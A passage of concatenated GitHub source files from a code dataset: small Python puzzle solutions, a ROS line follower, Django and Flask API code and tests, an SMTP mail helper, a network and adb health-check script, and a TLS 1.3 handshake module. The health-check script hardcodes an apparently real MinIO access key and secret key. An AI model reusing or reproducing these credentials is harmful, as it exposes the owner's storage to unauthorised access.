-1\n else:\n print(\"left\")\n return 1\n \n# search_left = 3*self.h/4 - t\n# search_right = 3*self.h/4 + b\n# mask[0:search_top, 0:self.w] = 0\n# mask[search_bot:self.h, 0:self.w] = 0\n# \n# err = cx - self.w/2\n# self.twist.linear.x = 0.5\n# self.twist.angular.z = -float(err) / 100\n# self.cmd_vel_pub.publish(self.twist) \n \n def follow_yellow(self, mask_yellow):\n M = cv2.moments(mask_yellow)\n if M['m00'] > 0:\n cx = int(M['m10']/M['m00'])\n cy = int(M['m01']/M['m00'])\n cv2.circle(mask_yellow, (cx, cy), 20, (0,0,255), -1)\n err = cx - self.w/2\n self.twist.linear.x = 0.5\n self.twist.angular.z = -float(err) / 100\n self.cmd_vel_pub.publish(self.twist)\n \n# def stop_at_sign():\n# pass\n\nfollower = Follower()\nrospy.spin()\nprint(\"b\")\n","repo_name":"AHHOZP/ROS","sub_path":"followbot-master/src/follow_p3.py","file_name":"follow_p3.py","file_ext":"py","file_size_in_byte":5469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14983476759","text":"#!/bin/python3\n\nimport sys\nfrom functools import reduce\n\n\nt = int(input().strip())\nfor a0 in range(t):\n n,k = input().strip().split(' ')\n n,k = [int(n),int(k)]\n num = input().strip()\n result=0\n \n while len(num)>=k:\n new_string = num[0:k]\n num_list = list(map(int, list(new_string)))\n multiple_result = reduce(lambda x, y: x * y, num_list,1)\n \n if multiple_result>=result:\n result = multiple_result\n else:\n result = result\n \n num = num[1:]\n \n print(result)\n \n \n\n \n \n","repo_name":"JinSuJinSu/Project-Euler","sub_path":"Project Euler #8 Largest product in a series.py","file_name":"Project Euler #8 Largest product in a series.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41031341339","text":"import numpy\nclass Timetable:\n def __init__(self):\n with open(\"input.txt\") as f:\n content = f.read()\n content_list = content.split(\"\\n\")\n \n self.earliest_time = int(content_list[0])\n\n self.bus_IDS_unfiltered = content_list[1].split(\",\")\n self.bus_IDS = (value for value in self.bus_IDS_unfiltered if value !=\"x\")\n self.bus_IDS = list(map(int,self.bus_IDS))\n\n self.part_1()\n self.part_2()\n\n def part_1(self):\n \"\"\"Gets the next arrival time of each bus after the desired time if the value != to the earliest time\"\"\"\n self.next_arrival = {}\n for item in self.bus_IDS:\n if self.earliest_time % item == 0:\n print(item)\n break\n arrival_before = (self.earliest_time//item)\n arrival = arrival_before + 1\n arrival_time =(item*arrival)\n self.next_arrival[item] = arrival_time\n lowest =(min(self.next_arrival.items(), key=lambda x: x[1]))\n print(\"Part 1:\",lowest[0]*(lowest[1]-self.earliest_time))\n\n def part_2(self):\n \"\"\"Gets a list of departure times such that there is a 1 difference between each bus ID unless it is x\"\"\"\n \"\"\"\n Each bus departs at t + index value unless it is x,\n \"\"\"\n print(self.bus_IDS_unfiltered)\n indexes = []\n values = []\n for i,val in enumerate(self.bus_IDS_unfiltered):\n if val==\"x\":\n continue\n\n indexes.append(i)\n values.append(int(val))\n\n print(indexes,values)\n start_value = values[0]\n i = 1\n while True:\n index_1 = indexes[0]\n for index,value in zip(indexes,values):\n if (value * i)- index != start_value:\n break\n i +=1\n\n\n \n\n\nwait_time = Timetable()\n\n","repo_name":"BSpoones/Advent-of-code-2020","sub_path":"Day 13/Timetable Calc.py","file_name":"Timetable Calc.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17978603457","text":"# 给你一个非空数组,返回此数组中 第三大的数 。如果不存在,则返回数组中最大的数。 \n# \n# \n# \n# 示例 1: \n# \n# \n# 输入:[3, 2, 1]\n# 输出:1\n# 解释:第三大的数是 1 。 \n# \n# 示例 2: \n# \n# \n# 输入:[1, 2]\n# 输出:2\n# 解释:第三大的数不存在, 所以返回最大的数 2 。\n# \n# \n# 示例 3: \n# \n# \n# 输入:[2, 2, 3, 1]\n# 输出:1\n# 解释:注意,要求返回第三大的数,是指在所有不同数字中排第三大的数。\n# 此例中存在两个值为 2 的数,它们都排第二。在所有不同数字中排第三大的数为 1 。 \n# \n# \n# \n# 提示: \n# \n# \n# 1 <= nums.length <= 104 \n# -231 <= nums[i] <= 231 - 1 \n# \n# \n# \n# \n# 进阶:你能设计一个时间复杂度 O(n) 的解决方案吗? \n# Related Topics 数组 排序 \n# 👍 230 👎 0\n\"\"\"\nclass Solution:\n def thirdMax(self, nums: List[int]) -> int:\n\n\nclass Solution:\n def thirdMax(self, nums) -> int:\n if len(nums) <= 1:\n return nums[0]\n else:\n if nums[1] > nums[0]:\n first = nums[1]\n second = nums[0]\n elif nums[1] == nums[0]:\n first = nums[1]\n second = nums[0]\n else:\n first = nums[0]\n second = nums[1]\n if len(nums) == 2:\n return first\n else:\n third = nums[2]\n for i in nums[2:]:\n if i == first:\n third = first\n elif i == second:\n third = first\n else:\n if i > first:\n first, second, third = i, first, second\n elif i > second:\n first, second, third = first, i, second\n elif i > third:\n first, second, third = first, second, i\n else:\n pass\n if first == second or first == third or second == third:\n return first\n return third\n\"\"\"\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nclass Solution:\n def thirdMax(self, nums) -> int:\n return_dict = dict()\n for num in nums:\n return_dict[num] = return_dict.get(num, 0) + 1\n keys_list = list()\n for i in return_dict.keys():\n keys_list.append(i)\n keys_len = len(keys_list)\n if keys_len == 1:\n return keys_list[0]\n elif keys_len == 2:\n return max(keys_list[0], keys_list[1])\n else:\n n1 = max(keys_list[0], keys_list[1], keys_list[2])\n n3 = min(keys_list[0], keys_list[1], keys_list[2])\n n2 = keys_list[0] + keys_list[1] + keys_list[2] - n1 - n3\n for num in keys_list[3:]:\n if num > n1:\n n1, n2, n3 = num, n1, n2\n elif num > n2:\n n1, n2, n3 = n1, num, n2\n elif num > n3:\n n1, n2, n3 = n1, n2, num\n else:\n n1, n2, n3 = n1, n2, n3\n return n3\n\n\n# leetcode submit region end(Prohibit modification and deletion)\n\nA = Solution()\nprint(A.thirdMax([5, 2, 4, 1, 3, 6, 0]))\n","repo_name":"SunsetBrightGorgeousAgain/LeetCode","sub_path":"LeetCode/editor/cn/[414]第三大的数.py","file_name":"[414]第三大的数.py","file_ext":"py","file_size_in_byte":3371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37594320174","text":"#!/usr/bin/env python\n\nimport smtplib\nimport mimetypes\nimport config\nfrom email.mime.text import MIMEText\nfrom email.MIMEMultipart import MIMEMultipart\nfrom email.MIMEImage import MIMEImage\nfrom email.MIMEBase import MIMEBase\nfrom email.Encoders import encode_base64\nfrom email import encoders\n\ndef mail(toaddrs, fromaddr, subject, TEXT, attach):\n import passwd\n #mail building\n if attach == None:\n msg = MIMEText(TEXT)\n else:\n msg = MIMEMultipart(TEXT)\n #Attaching the metadata\n for att in attach:\n _add_attachment(msg, att)\n msg['Subject'] = subject\n msg['From'] = fromaddr\n msg['To'] = toaddrs\n\n\n #authentication\n mailServer = smtplib.SMTP('smtp.gmail.com',587)\n mailServer.ehlo()\n mailServer.starttls()\n mailServer.ehlo()\n mailServer.login('biocompwebs@gmail.com', passwd.passwd)\n \n #sending\n mailServer.sendmail(fromaddr, toaddrs.split(\",\"), msg.as_string())\n \n #close connection\n mailServer.close()\n \ndef _add_attachment(outer, filename):\n import sys\n import os\n ctype, encoding = mimetypes.guess_type(filename)\n if ctype is None or encoding is not None:\n # No guess could be made, or the file is encoded (compressed), so\n # use a generic bag-of-bits type.\n ctype = 'application/octet-stream'\n maintype, subtype = ctype.split('/', 1)\n fp = open(filename, 'rb')\n if maintype == 'text':\n # Note: we should handle calculating the charset\n msg = MIMEText(fp.read(), _subtype=subtype)\n elif maintype == 'image':\n msg = MIMEImage(fp.read(), _subtype=subtype)\n elif maintype == 'audio':\n msg = MIMEAudio(fp.read(), _subtype=subtype)\n else:\n msg = MIMEBase(maintype, subtype)\n msg.set_payload(fp.read())\n # Encode the payload using Base64\n encoders.encode_base64(msg)\n fp.close()\n # Set the filename parameter\n msg.add_header('Content-Disposition',\n 'attachment',\n filename=os.path.basename(filename))\n outer.attach(msg)\n\n\n","repo_name":"I2PC/scipion-web","sub_path":"software/em/xmipp/applications/test_programs/script/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"17830502723","text":"import unittest\nimport pytest\nimport json\nfrom random import shuffle\n\n\ndef _post_json(app, endpoint, data):\n prefix = \"/api/v1\"\n response = app.post(\n \"{}{}\".format(prefix, endpoint),\n data=json.dumps(data),\n content_type='application/json'\n )\n result = json.loads(response.data)['result']\n return response, result\n\n\ndef _put_json(app, endpoint, data):\n prefix = \"/api/v1\"\n response = app.put(\n \"{}{}\".format(prefix, endpoint),\n data=json.dumps(data),\n content_type='application/json'\n )\n result = json.loads(response.data)['result']\n return response, result\n\n\ndef _delete_json(app, endpoint, data):\n prefix = \"/api/v1\"\n response = app.delete(\n \"{}{}\".format(prefix, endpoint),\n data=json.dumps(data),\n content_type='application/json'\n )\n result = json.loads(response.data)['result']\n return response, result\n\n\ndef _get_json(app, endpoint):\n prefix = \"/api/v1\"\n response = app.get(\n \"{}{}\".format(prefix, endpoint),\n #content_type='application/json'\n )\n result = json.loads(response.data)['result']\n return response, result\n\n\nclass AuthenticatedUser(object):\n def __init__(self, mongo_user):\n self.id = mongo_user.id\n def is_authenticated(self):\n return True\n\nclass APITestCase(unittest.TestCase):\n\n def setUp(self):\n from mongoengine import connection\n import mongomock\n connection._connections['default'] = mongomock.MongoClient()\n connection._connection_settings['default'] = {\n 'name': None,\n 'username': None,\n 'password': None,\n 'authentication_source': None,\n }\n\n import os\n os.environ['SECRET_KEY'] = \"SECRET_KEY\"\n\n import lime\n from flask.ext.mongoengine import MongoEngine\n lime.db = MongoEngine(lime.app)\n lime.app.debug = True\n\n import toolbox\n testuser = toolbox.models.User(email=\"testuser@testuser.com\")\n testuser.save()\n testhost = toolbox.models.Host(bucketname=\"testbucket\", hostname=\"testhost.com\", owners=[testuser])\n testhost.save()\n\n auth_user = AuthenticatedUser(testuser)\n lime.api.current_user = auth_user\n toolbox.models.current_user = auth_user\n self.app = lime.app.test_client()\n\n def tearDown(self):\n pass\n\n def test_create_vertex(self):\n data = {\n \"title\": \"testing\",\n \"vertex_type\": \"text\"\n }\n response, result = _post_json(self.app, '/text/', data)\n assert response.status_code == 200\n assert all(item in result.items() for item in data.items())\n\n\n def test_delete_edge(self):\n # Create four vertices\n response, v1 = _post_json(self.app, '/text/', {\n \"title\": \"v1\",\n \"vertex_type\": \"text\"\n })\n response, v2 = _post_json(self.app, '/text/', {\n \"title\": \"v2\",\n \"vertex_type\": \"text\"\n })\n response, v3 = _post_json(self.app, '/text/', {\n \"title\": \"v3\",\n \"vertex_type\": \"text\"\n })\n response, v4 = _post_json(self.app, '/text/', {\n \"title\": \"v3\",\n \"vertex_type\": \"text\"\n })\n\n children = [v2, v3, v4]\n\n # Put v2-v4 in the succset of v1\n for v in children:\n response, res = _post_json(self.app, '/edge/', {\n 'edges': [v1['_id'], v['_id']]\n })\n\n # Get the updated parent vertex\n response, v1 = _get_json(self.app, '/text/{}/'.format(v1['_id']))\n\n # Extract the succset IDs\n succset = [v['_id'] for v in v1['succset']]\n\n # All children got added\n assert set(succset) == set([v['_id'] for v in children])\n\n # Reorder succset\n shuffle(succset)\n\n response, res = _put_json(\n self.app,\n '/text/{}/succset/'.format(v1['_id']),\n data={\n 'succset': succset\n }\n )\n\n # Get the updated parent vertex\n response, v1 = _get_json(self.app, '/text/{}/'.format(v1['_id']))\n\n # Extract the succset IDs\n new_succset = [v['_id'] for v in v1['succset']]\n\n # The reordering worked\n succset == new_succset\n\n # Delete an edge\n response, res = _delete_json(self.app, '/edge/', data={\n 'edges': [v1['_id'], v2['_id']]\n })\n\n # Get the updated parent vertex\n response, v1 = _get_json(self.app, '/text/{}/'.format(v1['_id']))\n\n # Extract the succset IDs\n final_succset = [v['_id'] for v in v1['succset']]\n\n assert len(final_succset) == 2\n assert v2['_id'] not in final_succset\n","repo_name":"wiota/lime","sub_path":"lime/api/tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":4743,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"28033888106","text":"import os\nimport pytest\n\nfrom asyncpd.client import APIClient\n\n\n@pytest.fixture\nasync def client():\n \"\"\"APIClient fixture.\"\"\" # noqa: D403\n _client = APIClient(\n token=os.environ[\"ASYNCPD_TEST_API_TOKEN\"],\n )\n yield _client\n await _client.aclose()\n","repo_name":"bradleybonitatibus/asyncpd","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26231362060","text":"# WAP to accept lower limit and upper limit and print the even and odd numbers between those\n#Name:\n#Date of exceution:\n#Grade:\ndef oddEven(ll,ul):\n odd =[]\n even = []\n for x in range (ll,ul):\n if (x % 2==0):\n even.append(x)\n else:\n odd.append(x)\n return even,odd\n\nll = int(input(\"enter the lower limit\"))\nul = int(input(\"enter the upper limit\"))\neven, odd = oddEven(ll,ul)\nprint(\"even = \", even)\nprint (\"odd = \", odd)","repo_name":"Chandan-CV/Amaatra-Grade-12-Lab-Programs","sub_path":"Lab programs/prog3.py","file_name":"prog3.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"72801597352","text":"# https://www.youtube.com/watch?v=yWVAmFaUtTY\n# created by Tushar Arora \nfrom google.cloud import firestore\nfrom google.cloud import bigquery\nimport math\nimport pandas as pd \n\ndef collectionfromFireStore():\n firestore_client=firestore.Client(\"halifaxfoodie-2dc26\")\n doc_recipe=firestore_client.collection(\"Recipe\").get()\n print(doc_recipe)\n list_doc_recipe=[]\n for doc in doc_recipe:\n dict_doc_recipe=doc.to_dict()\n list_doc_recipe.append(dict_doc_recipe)\n list_of_recipe_rows=[]\n for dict1 in list_doc_recipe:\n recipe_name=dict1[\"recipeName\"]\n list_ingredtients=dict1[\"ingredients\"]\n for ingredients in list_ingredtients:\n list_of_recipe_rows.append([recipe_name,ingredients])\n return list_of_recipe_rows\n\ndef hello_world(request):\n request_json = request.get_json()\n recipe_name= request.args.get(\"recipeName\")\n print(recipe_name)\n list_of_recipe_rows=collectionfromFireStore()\n dataFrame=pd.DataFrame(list_of_recipe_rows, columns = ['RecipeName', 'Ingredients'])\n dataFrame.to_gbq('group13_halifax_foodie.recipesimilarity', \n project_id='halifaxfoodie-2dc26', \n if_exists='append',\n location='US')\n QUERY=('SELECT * FROM ML.PREDICT( MODEL`halifaxfoodie-2dc26.group13_halifax_foodie.recipe_similarity_Model_NEW`,'\n '(SELECT * FROM `halifaxfoodie-2dc26.group13_halifax_foodie.recipesimilarity` '\n 'WHERE RecipeName=\"'+recipe_name+'\"))')\n print(QUERY)\n client = bigquery.Client()\n query_job = client.query(QUERY)\n rows=query_job.result()\n list_similar_recipe=[]\n for row in rows:\n if row.predicted_RecipeName.lower()!=recipe_name.lower() and row.predicted_RecipeName not in list_similar_recipe:\n list_similar_recipe.append(row.predicted_RecipeName)\n if(len(list_similar_recipe)>2):\n break\n header={\n \"Access-Control-Allow-Origin\":\"*\"\n }\n\n similar_recipe=\",\".join(list_similar_recipe)\n return (similar_recipe,200,header)\n \n\n \n # if request.args and 'message' in request.args:\n # return request.args.get('message')\n # elif request_json and 'message' in request_json:\n # return request_json['message']\n # else:\n # return f'Hello World!'\n","repo_name":"Swrna31/Halifax-Foodie","sub_path":"Functions/Cloud Functions/Recipe_similarity/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19844847357","text":"name = input(\"What is a name? \")\nplace = input(\"What is a place?\")\nline1 = name + \"went to the\" + place + \"last weekend\"\nFood = input(\"What is a Food? \")\nline2 = name + \" wanted to bring \" + Food + \" with her to share with her friends\"\nPast_Tense_Verb = input(\"What is a Past_Tense_Verb? \")\nAdjective = input(\"What is an Adjective\")\nPlural_Noun = input(\"What is a Plural_Noun?\")\nline3 = \"They\" + Past_Tense_Verb + \" their\"+ Adjective + Plural_Noun + \" and started to build\"\nline4 = \"It was so great that everyone wanted to see\"\nAdjective = input (\"What is a Adjective? \")\nline5 = \"The final result was a\" + Adjective + \"masterpiece\"\nname = input (\"What is a name? \")\nline6 = name + \" and her friends couldn't wait to show their parents what they made\"\n\n\nprint (line1)\nprint (line2)\nprint (line3)\nprint (line4)\nprint (line5)\nprint (line6)","repo_name":"eringayles55/GWC_Projects","sub_path":"mad_lib.py","file_name":"mad_lib.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13813377777","text":"import os\nimport sys\nfrom distutils.core import setup\n\nif sys.version_info < (3,):\n print('\\nSorry, but Adventure can only be installed under Python 3.\\n')\n sys.exit(1)\n\nREADME_PATH = os.path.join(os.path.dirname(__file__), 'adventure', 'README.txt')\nwith open(README_PATH, encoding=\"utf-8\") as f:\n README_TEXT = f.read()\n\nsetup(\n name='adventure',\n version='1.6',\n description='Colossal Cave adventure game at the Python prompt',\n long_description=README_TEXT,\n author='Brandon Craig Rhodes',\n author_email='brandon@rhodesmill.org',\n url='https://github.com/brandon-rhodes/python-adventure',\n packages=['adventure', 'adventure/tests'],\n package_data={'adventure': ['README.txt', '*.dat', 'tests/*.txt']},\n classifiers=[\n 'Development Status :: 6 - Mature',\n 'Environment :: Console',\n 'Intended Audience :: End Users/Desktop',\n 'License :: OSI Approved :: Apache Software License',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.2',\n 'Topic :: Games/Entertainment',\n ],\n)\n","repo_name":"brandon-rhodes/python-adventure","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":143,"dataset":"github-code","pt":"72"} +{"seq_id":"4065751301","text":"from django.contrib.auth.models import AbstractUser\nfrom django.contrib.auth.validators import UnicodeUsernameValidator\nfrom django.db import models\nfrom django.utils import timezone\n\nfrom authentication_app.managers import MyAccountManager\n\n\nclass Account(AbstractUser):\n \"\"\" My user model \"\"\"\n GENDER_CHOICES = [\n ('M', 'Мужской'),\n ('F', 'Женский')\n ]\n\n username_validator = UnicodeUsernameValidator()\n first_name_validator = UnicodeUsernameValidator()\n first_name = models.CharField(\n max_length=20,\n validators=[first_name_validator],\n verbose_name='Имя'\n\n )\n last_name = models.CharField(\n max_length=20,\n validators=[first_name_validator],\n verbose_name='Фамилия'\n )\n\n username = models.CharField(max_length=60,\n unique=True,\n validators=[username_validator],\n error_messages={\n \"unique\": \"A user with that username already exists.\"},\n verbose_name='Никнейм')\n email = models.EmailField(unique=True)\n profile_image = models.ImageField(upload_to='avatar',\n null=True, blank=True,\n verbose_name='Аватар')\n gender = models.CharField(max_length=20,\n choices=GENDER_CHOICES,\n verbose_name='Пол',\n blank=True, null=True)\n date_joined = models.DateField(verbose_name='Дата регистрации',\n default=timezone.now)\n\n objects = MyAccountManager()\n\n USERNAME_FIELD = 'email'\n REQUIRED_FIELDS = ['username']\n\n class Meta:\n verbose_name = 'Пользователь'\n verbose_name_plural = 'Пользователи'\n\n def str(self):\n return f'{self.username}'\n","repo_name":"AkkiEldar/Hotels","sub_path":"authentication_app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23504234765","text":"from django.apps import apps\nfrom django_restql.mixins import DynamicFieldsMixin\nfrom rest_framework import serializers\nfrom rest_framework.validators import UniqueTogetherValidator\nfrom media_upload.models import MediaUpload\n\n\nclass MediaUploadSerializer(DynamicFieldsMixin, serializers.ModelSerializer):\n class Meta:\n model = MediaUpload\n fields = ['name_song_podcast_audio', 'duration', 'uploaded_time', 'host','participants','title_of_audiobook','author_of_title','narrator','upload_type']\n read_only_fields = ['id']\n\n \n def validate(self, data):\n\n errors = {}\n\n if data['upload_type'] == 'song':\n\n if 'name_song_podcast_audio' not in data or not data['name_song_podcast_audio']:\n errors.update({'name_song_podcast_audio':'Name of the song is required'})\n\n\n if data['upload_type'] == 'podcast':\n\n if 'name_song_podcast_audio' not in data or not data['name_song_podcast_audio']:\n errors.update({'name_song_podcast_audio':'Name of the podcast is required'})\n\n if 'host' not in data or not data['host']:\n errors.update({'host':'Host name is required for podcast'})\n\n if data['upload_type'] == 'audiobook':\n\n if 'title_of_audiobook' not in data or not data['title_of_audiobook']:\n errors.update({'title_of_audiobook':'Title of audiobook is required for audiobook'})\n\n if 'author_of_title' not in data or not data['author_of_title']:\n errors.update({'author_of_title':'Author of the title is required for audiobook'})\n \n if 'narrator' not in data or not data['narrator']:\n errors.update({'narrator':'Author of the title is required for audiobook'})\n\n\n if errors:\n raise serializers.ValidationError(errors)\n return data","repo_name":"priyanka24mishra/media_upload","sub_path":"mysite/media_upload/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74747608552","text":"import subprocess\nimport requests\nimport re\nfrom minio import Minio\nfrom minio.error import S3Error\n\n# ---------------------------------------------- wifi强度状态 ----------------------------------------------\ndef check_wifi_strength():\n try:\n cmd_output = subprocess.check_output([\"netsh\", \"wlan\", \"show\", \"interfaces\"], universal_newlines=True, encoding='gbk')\n wifi_info = re.findall(r\"SSID\\s+:\\s+(.*?)\\n\", cmd_output)\n if 'EF-office' in wifi_info:\n print(\"EF-office WiFi已连接\")\n else:\n print(\"EF-office WiFi未连接\")\n except Exception as e:\n print(f\"检查WiFi时出错: {e}\")\n\n# ---------------------------------------------- 后台环境状态 ----------------------------------------------\ndef check_apis_health():\n urls = { #\n \"欧洲节点\": \"https://api-e.ecoflow.com/iot-service/health\", #\n \"美国节点\": \"https://api-a.ecoflow.com/iot-service/health\", #\n \"国内生产节点\": \"https://api-cn.ecoflow.com/iot-service/health\", #\n \"海外UAT节点\": \"https://api-uat-aws.ecoflow.com/iot-service/health\", #\n \"国内UAT节点\": \"https://api-uat2.ecoflow.com/iot-service/health\" #\n }\n\n for key, url in urls.items():\n try:\n response = requests.get(url)\n if response.status_code == 200:\n json_data = response.json()\n if json_data.get(\"status\") == \"UP\":\n print(f\"{key} 响应为200且状态为UP\")\n else:\n print(f\"{key} 响应非200\")\n except Exception as e:\n print(f\"{key} 请求失败: {e}\")\n\n# ---------------------------------------------- 外网状态 ----------------------------------------------\ndef check_sites():\n urls = [\"https://www.google.com\"]\n\n for url in urls:\n try:\n response = requests.get(url)\n if response.status_code == 200:\n print(f\"{url} 响应为200\")\n else:\n print(f\"{url} 响应异常: \", response.status_code)\n except Exception as e:\n print(f\"{url} 请求失败: {e}\")\n\n# ---------------------------------------------- adb连接状态 ----------------------------------------------\ndef restart_adb_server():\n try:\n subprocess.run([\"adb\", \"kill-server\"], universal_newlines=True, encoding='utf-8')\n subprocess.run([\"adb\", \"start-server\"], universal_newlines=True, encoding='utf-8')\n print(\"ADB服务已重启\")\n except Exception as e:\n print(f\"重启ADB服务时出错: {e}\")\n\ndef check_adb_installation():\n try:\n cmd_output = subprocess.check_output([\"adb\", \"version\"], universal_newlines=True, encoding='utf-8')\n if \"Android Debug Bridge version\" in cmd_output:\n print(\"ADB已安装\")\n return True\n else:\n print(\"ADB未安装\")\n return False\n except Exception as e:\n print(f\"检查ADB安装时出错: {e}\")\n return False\n\ndef check_adb_connections(retry_count=1):\n if not check_adb_installation():\n print(\"由于ADB未安装,跳过检查ADB连接\")\n return\n\n try:\n cmd_output = subprocess.check_output([\"adb\", \"devices\"], universal_newlines=True, encoding='utf-8')\n devices = re.findall(r\"\\n(.*?)\\tdevice\", cmd_output)\n if devices:\n print(f\"已连接的设备: {', '.join(devices)}\")\n else:\n print(\"没有设备连接\")\n except Exception as e:\n if retry_count > 0:\n print(\"检查ADB连接时出错,正在尝试重启ADB服务\")\n restart_adb_server()\n check_adb_connections(retry_count=retry_count - 1)\n else:\n print(f\"重试失败,检查ADB连接时出错: {e}\")\n\n# ---------------------------------------------- minio存储桶状态 ----------------------------------------------\n# 使用实际的Endpoint、Access Key和Secret Key替换以下占位符\nendpoint = 'minio.ecoflow.com:9000'\naccess_key = 'EQS4J84JGJCDYNENIMT1'\nsecret_key = '8Vgk11c9bDOpZPTJMexPLrxZpzEOqro+jZyAUh+a'\n\ndef check_minio(endpoint, access_key, secret_key):\n client = Minio(\n endpoint,\n access_key=access_key,\n secret_key=secret_key,\n secure=True\n )\n\n try:\n # 检查是否可以列出存储桶\n buckets = client.list_buckets()\n print(\"MinIO 连接成功,可用的存储桶如下:\")\n for bucket in buckets:\n print(bucket.name)\n return True\n except S3Error as e:\n print(f\"连接MinIO时出错: {e}\")\n return False\n\nif __name__ == \"__main__\":\n # wifi强度\n check_wifi_strength()\n # 连接检测\n check_apis_health()\n # 外网检测\n check_sites()\n # minio存储桶\n check_minio(endpoint, access_key, secret_key)\n # adb检测\n check_adb_connections()\n","repo_name":"tom200989/autoin","sub_path":"test/test_06网络检测.py","file_name":"test_06网络检测.py","file_ext":"py","file_size_in_byte":4885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14751736042","text":"from abc import ABC, abstractmethod\nfrom random import randbytes\nfrom typing import Optional\n\nfrom p3.contrib.tls13.ciphers import (CipherSuite, CipherSuiteList,\n CompressionMethod, CompressionMethodList)\nfrom p3.contrib.tls13.common import TLS13BEnum, Version\nfrom p3.contrib.tls13.extension import ExtensionList\nfrom p3.stream.buffer import Buffer\nfrom p3.stream.structs import BStruct, IStruct\nfrom p3.utils.override import override\n\n\nclass HandshakeType(TLS13BEnum):\n ClientHello = 1\n ServerHello = 2\n NewSessionTicket = 4\n EndOfEarlyData = 5\n EncryptedExtensions = 8\n Certificate = 11\n CertificateRequest = 13\n CertificateVerify = 15\n Finished = 20\n KeyUpdate = 24\n MessageHash = 254\n\n\nclass Handshake(ABC):\n msg_type: HandshakeType\n msg_dict: dict[int, type['Handshake']] = dict()\n\n def __init_subclass__(cls, **kwargs):\n super().__init_subclass__(**kwargs)\n if hasattr(cls, 'msg_type'):\n cls.msg_dict[int(cls.msg_type)] = cls\n\n def __bytes__(self) -> bytes:\n buf = self.pack_handshake()\n return IStruct.pack((self.msg_type << 24) + len(buf)) + buf\n\n @abstractmethod\n def pack_handshake(self) -> bytes:\n raise NotImplementedError\n\n @classmethod\n def pop_from_buffer(cls, buffer: Buffer) -> 'Handshake':\n msg_type = HandshakeType.pop_from_buffer(buffer)\n msg_cls = cls.msg_dict.get(int(msg_type))\n if msg_cls is None:\n msg_type.raise_protocol_error()\n assert msg_cls is not None\n return msg_cls.pop_msg_from_buffer(buffer)\n\n @classmethod\n @abstractmethod\n def pop_msg_from_buffer(cls, buffer: Buffer) -> 'Handshake':\n raise NotImplementedError\n\n\nclass ClientHello(Handshake):\n random: bytes # 32s\n session_id: bytes # 32s legacy\n cipher_suites: CipherSuiteList\n compression_methods: CompressionMethodList # legacy\n extensions: ExtensionList\n\n msg_type = HandshakeType.ClientHello\n version = Version.TLS12 # legacy\n\n def __init__(\n self,\n extensions: ExtensionList,\n random: Optional[bytes] = None,\n session_id: Optional[bytes] = None,\n cipher_suites: Optional[CipherSuiteList] = None,\n compression_methods: Optional[CompressionMethodList] = None,\n ):\n if random is None:\n random = randbytes(32)\n if session_id is None:\n session_id = randbytes(32)\n if cipher_suites is None:\n cipher_suites = CipherSuiteList.defaults()\n if compression_methods is None:\n compression_methods = CompressionMethodList.defaults()\n self.random = random\n self.session_id = session_id\n self.cipher_suites = cipher_suites\n self.compression_methods = compression_methods\n self.extensions = extensions\n\n @override(Handshake)\n def pack_handshake(self) -> bytes:\n buf = bytes(self.version) + \\\n self.random + \\\n BStruct.pack_varlen(self.session_id)\n buf += bytes(self.cipher_suites)\n buf += bytes(self.compression_methods)\n buf += bytes(self.extensions)\n return buf\n\n @classmethod\n @abstractmethod\n def pop_msg_from_buffer(cls, buffer: Buffer) -> 'Handshake':\n version = Version.pop_from_buffer(buffer)\n cls.version.ensure(version)\n random = buffer.pop(32)\n session_id = BStruct.pop_varlen_from_buffer(buffer)\n cipher_suites = CipherSuiteList.pop_from_buffer(buffer)\n compression_methods = CompressionMethodList.pop_from_buffer(buffer)\n extensions = ExtensionList.pop_from_buffer(buffer)\n return cls(\n extensions=extensions,\n random=random,\n session_id=session_id,\n cipher_suites=cipher_suites,\n compression_methods=compression_methods,\n )\n\n\nclass ServerHello(Handshake):\n random: bytes\n session_id_echo: bytes # 32 legacy\n cipher_suite: CipherSuite\n compression_method: CompressionMethod # legacy\n extensions: ExtensionList\n\n HELLO_RETRY_MAGIC = bytes.fromhex(\n 'CF21AD74E59A6111BE1D8C021E65B891C2A211167ABB8C5E079E09E2C8A8339C')\n\n msg_type = HandshakeType.ServerHello\n version = Version.TLS12\n\n def __init__(\n self,\n session_id_echo: bytes,\n extensions: ExtensionList,\n random: Optional[bytes] = None,\n cipher_suite: CipherSuite = CipherSuite.AES_128_GCM_SHA256,\n compression_method: CompressionMethod = CompressionMethod.\n NoCompression,\n ):\n if random is None:\n random = 